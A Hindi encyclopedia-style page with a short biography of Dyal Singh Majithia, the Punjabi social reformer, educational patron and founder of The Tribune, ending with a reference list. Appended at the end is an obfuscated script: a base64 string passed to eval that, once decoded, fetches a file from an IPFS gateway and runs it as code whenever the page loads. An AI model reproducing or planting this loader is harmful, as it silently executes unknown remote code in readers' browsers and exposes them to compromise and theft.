दयाल सिंह मजीठिया
भारत डिस्कवरी प्रस्तुति
माधवी अग्रवाल (वार्ता | योगदान) द्वारा परिवर्तित 11:35, 2 अप्रैल 2017 का अवतरण (''''दयाल सिंह मजीठिया''' (अंग्रेज़ी: ''Dyal Singh Majithia'', जन्म- 1848, [...' के साथ नया पृष्ठ बनाया)
दयाल सिंह मजीठिया (अंग्रेज़ी: Dyal Singh Majithia, जन्म- 1848, वाराणसी; मृत्यु- 1898, लाहौर, पाकिस्तान) पंजाब के क्रांतिकारी थे।[1]
- दयाल सिंह मजीठिया पंजाब में अमृतसर शहर के निकट मजीठिया नामक गांव में एक ऐतिहासिक परिवार से थे।
- उनके पूर्वजों ने महाराजा रणजीत सिंह के यहाँ नौकरी की थी।
- दयाल सिंह ने अपना प्रारंभिक जीवन मजीठिया, अमृतसर और बतला में व्यतीत किया।
- वे 1874 में इंग्लैण्ड गये और वहाँ पर दो वर्ष तक रहे। दयाल सिंह पश्चिमी शिक्षा तथा उदारवाद से अत्यन्त प्रभावित हुए।
- वे समाज सुधारक बन गये तथा विधवा पुनर्विवाह की वकालत की।
- अपने राजनैतिक दृष्टिकोण में दयाल सिंह नरमपंथी थे।
- उन्होंने अनेक शैक्षणिक संस्थानों की नींव रखी इसमें कॉलिज और पुस्तकालय भी शामिल थे।
- 'द ट्रिब्युन' जिसने पंजाब में राष्ट्रवादी आन्दोलनों की वृद्धि की।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ दयाल सिंह मजीठिया (हिंदी) क्रांति 1857। अभिगमन तिथि: 30 मार्च, 2017।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>